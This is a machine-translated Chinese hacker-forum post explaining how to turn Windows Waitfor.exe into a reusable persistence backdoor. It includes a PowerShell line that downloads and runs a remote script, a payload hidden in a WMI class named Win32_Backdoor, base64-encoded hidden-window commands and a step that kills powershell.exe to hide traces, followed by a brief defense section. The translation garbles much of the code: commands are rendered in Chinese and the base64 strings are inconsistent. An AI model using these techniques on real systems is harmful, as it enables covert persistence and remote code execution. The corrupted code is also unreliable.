跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

用Waitfor.exe维持坚持


Xiao7

推荐的帖子

0x00 前言

在caseysmith @ sub tee的Twitter上,利用Waitfor.exe可以实现一个后门机制。

于是我对它做了进一步的研究,用Powershell写了一个POC。

本文将介绍Waitfor.exe在渗透测试方面的技巧,并分享开发POC的思路和细节。

完整的POC下载地址如下:

https://github.com/3gstudent/Waitfor-Persistence

0x01 简介

本文将具体介绍以下内容:

Waitfor.exe简介

利用理念

概念验证详细信息

0x02 Waitfor.exe简介

用于同步网络中的计算机,可以在系统上发送或等待信号。

支持系统:

Windows Server 2003

Windows Vista

Windows XP

Windows Server 2008

Windows 7

带有SP2的Windows Server 2003

Windows Server 2003 R2

Windows Server 2008 R2版

Windows Server 2000

Windows Server 2012

带有SP1的Windows Server 2003

Windows 8

Windows 10

其他服务器系统未经测试,理论上受支持。

在System32文件夹下,从命令行启动它。

支持参数如下

2-1.png

具体细节如下:

/s:指定发送目标计算机的名称或IP地址(不允许使用反斜杠)。如果不添加该参数,将在域内以广播的形式发送。

/u [\]:使用指定用户帐户的凭据运行脚本。如果不添加此参数,将使用当前用户的凭据。

/p []:用户密码

/si:表示发送激活信号;如果不添加该参数,则意味着等待接收信号。

/t:指定等待信号的秒数。如果不添加这个参数,就意味着无限期等待。

:指定的信号名称不区分大小写,长度不能超过225个字符。

注:

只有当计算机与发送信号的计算机在同一个域中时,它们才能接收信号。

也就是说,同一网段上的主机可以接收信号。

主要用途:

实现同一网段的主机同时执行命令。

测试实例:

开启等待模式:

cmd:

等待信号计算calc.exe

参数描述:

信号名称:signalcalc

收到信号后操作:calc.exe,即启动计算器。

这时,有一个waitfor.exe在后台处理。

发送信号:

cmd:

等待/s 127.0.0.1 /si信号计算

参数描述:

目的:计算机:127.0.0.1(用于本地测试),将域使用更改为主机ip。

/si表示发送信号。

信号名称:signalcalc

具体操作如下

1-1.gif

注:

有关更多基本介绍,请参考带有以下链接的Microsoft官方文档:

https://TechNet . Microsoft . com/en-us/library/cc 731613(v=ws . 11)。aspx

0x03 利用思路

根据上面的基本介绍,最直观的理解就是waitfor可以做后门。

Daniel Bohannon @ danielhbohannon在twitter上分享了他使用它的想法:waitfor收到信号后,它设置了从远程服务器下载powershell代码并执行的操作。

地址如下:

https://twitter.com/danielhbohannon/status/872258924078092288

具体情况如下

2-2.png

此外,他还提到了一个有趣的窍门:如果powershell代码被设置为推迟执行,那么在收到信号后,后台将不会有进程waitfor.exe。

我通过以下方法验证了这个结论:

开启等待模式:

cmd:

等待test1 powershell IEX(新对象网络。WebClient)。download string(' https://raw . githubusercontent . com/3g student/test/master/calc 2 . PS1 ')

发送信号:

cmd:

等待/s 127.0.0.1 /si测试1

3359 raw . githubusercontent . com/3g student/test/master/calc 2 . PS1有以下内容:

开始-睡眠-秒10;

开始处理calc.exe;

当信号被成功接收时,进程waitfor.exe退出。

然后执行powershell脚本,并在启动calc.exe之前等待10秒钟。

在这10秒钟里,只有powershell.exe这个过程存在。

也就是说,如果等待时间设置得更长,在这个等待时间内就不会有waitfor.exe过程,所以应该提醒防御者这个细节。

0x04 POC细节

如果作为后门使用,那么上述利用方式还不够成熟。

因为一旦被触发后,进程waitfor.exe就会退出,所以后门程序不能被重用。

你需要再次打开等待模式来再次触发后门。

当然,您可以在每次后门触发后手动启动等待模式。

但这不够智能,能否通过脚本实现自动开启等待模式,使其成为一个可持续触发的后门呢?

为此,我写了以下无线一键通

思路1:

在目标系统保存一个著名图象处理软件脚本1.ps1

1.ps1内容如下:

开始处理calc.exe

cmd/c等待持久` ` powershell-执行策略旁路-文件c:\test\1.ps1

注:

转义字符在powershell中要用`表示

开启等待模式:

cmd:

等待保留1个powershell-执行策略绕过-文件c:\test\1.ps1

发送信号:

cmd:

等待/s 127.0.0.1 /si persist1

思路2:

不在目标系统保存文件

这里使用一个之前在《WMI backdoor》 中介绍过的技巧,将有效载荷保存在WMI类中,进行读取使用

存储有效载荷:

(管理员权限)

$StaticClass=新对象管理ManagementClass('root\cimv2 ',$null,$null)

$StaticClass .Name='Win32_Backdoor '

$StaticClass .放()

$StaticClass .属性。添加('代码',' cmd /c启动calc.exe ')

$StaticClass .放()

读取有效载荷:

([wmi class]“Win32 _后门”).属性['代码'].价值

以上操作如下图

3-1.png

执行有效载荷:

$ exec=([wmi class]“Win32 _后门”).属性['代码'].价值;

iex $exec

注:

通过调用表达式执行命令也可以,使用iex是为了缩短长度

结合等待的参数格式,这里选择将代码编码为base64

对执行有效载荷的代码进行base64编码,以下代码保存在code.txt:

$ exec=([wmi class]“Win32 _后门”).属性['代码'].价值;

iex $exec

对其进行base64编码,代码如下:

$code=Get-Content -Path code.txt

$bytes=[System .文字。编码]*统一码.GetBytes($ code);

$encoded=[System .Convert]:ToBase64String(字节)

$编码

获得base64加密代码如下:

jablahgazbjad 0 akabbafcabqbpaemababhahmacwbdacaajwbxagkabgazadiaxwbcageaybragqabwbahiajwapac 4 auabyag 8 acablahiadapaguacgwbbbaccaqwbvagqazqanaf 0 algbwageabab 1 agaogagagagagkazqb4acaajablahgazqbjaa==

以上操作如下图

3-2.png

测试base64加密代码:

powershell-nop-E jablahgazqbjad 0 akabbafcabqbpaebmabhahmacwbdacaaaajwbxagkabgazadiaxwbcageaywbragqabwahiajwapac 4 auabyag 8 acablahiadapaguaacwbbacqwbvaqqaqanaf 0 algbwageabab 1 aguagogagagagkazqb4 acaajablahgazqbjaa==

成功执行代码,如下图

3-3.png

根据以上思路,概念验证如下:

后门代码:

(管理员权限)

$StaticClass=新对象管理ManagementClass('root\cimv2 ',$null,$null)

$StaticClass .Name='Win32_Backdoor '

$StaticClass .放()

$StaticClass .属性。Add('Code ',' cmd/c start calc.exe ` ` `等待持久化` ` `` ` powershell-nop-E jablahgazqbjad 0 akabbafcabqbpaemababhahmacwbdacaajwbxagkabgazadiaxwbcageaywbragqabwahiajwapac 4 auabyag 8 acablahiadpagacucacwbkaqwbvagqazqanaf 0 algbwageabab 1 agawagagkazkazqb4 acaajablahgazqbjaa==')

$StaticClass .放()

注:

存在两次转义字符

``用来表示`

安装代码:

$ exec=([wmi class]“Win32 _后门”).属性['代码'].价值;

iex $exec

激活命令:

等待/s 127.0.0.1 /si持续

实际测试如下图

3-4.png

存在bug,导致powershell.exe无法正常退出,进程在后台残留

所以需要添加一段代码,用来结束进程powershell.exe

注:

根据逻辑关系,结束powershell.exe的代码要写在powershell -nop -W Hidden -E.之前

最终,完整无线一键通代码如下:

后门代码:

(管理员权限)

$StaticClass=新对象管理ManagementClass('root\cimv2 ',$null,$null)

$StaticClass .Name='Win32_Backdoor '

$StaticClass .Put()| Out-Null

$StaticClass .属性。Add('Code ',' cmd/c start calc.exe ` ` ` taskkill/f/im powershell.exe ` ` ` ` `等待坚持` ` ` powershell-nop-W Hidden-E jablahgazqbjad 0 akabbafcabqbpaemabhahmacwbdacaajwbxagkagbgazadiaxwbcageaywbragqabwahiajwapac 4 auabyag 8 acablahiadapaguacgwbgazqanaf 0 algbwageabab 1 aguaogawagagagkaz

$StaticClass .Put() | Out-Null

$ exec=([wmi class]“Win32 _后门”).属性['代码'].价值;

iex $exec | Out-Null

激活命令:

等待/s 127.0.0.1 /si持续

完整演示如下图

1-2.gif

不存在进程残留的问题

0x05 防御

注意后台程序,waitfor.exe。

对于后台的可疑进程cmd.exe和powershell.exe,您可以使用Process Explorer查看它们的启动参数,如下图所示。

3-5.png

也可以在上述过程中读取历史回显内容。参考资料如下:

http://jblog.javelin-networks.com/blog/cli-powershell/

0x06 小结

本文介绍了Waitfor.exe后门的实现思路,也许会有更多的使用技巧。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...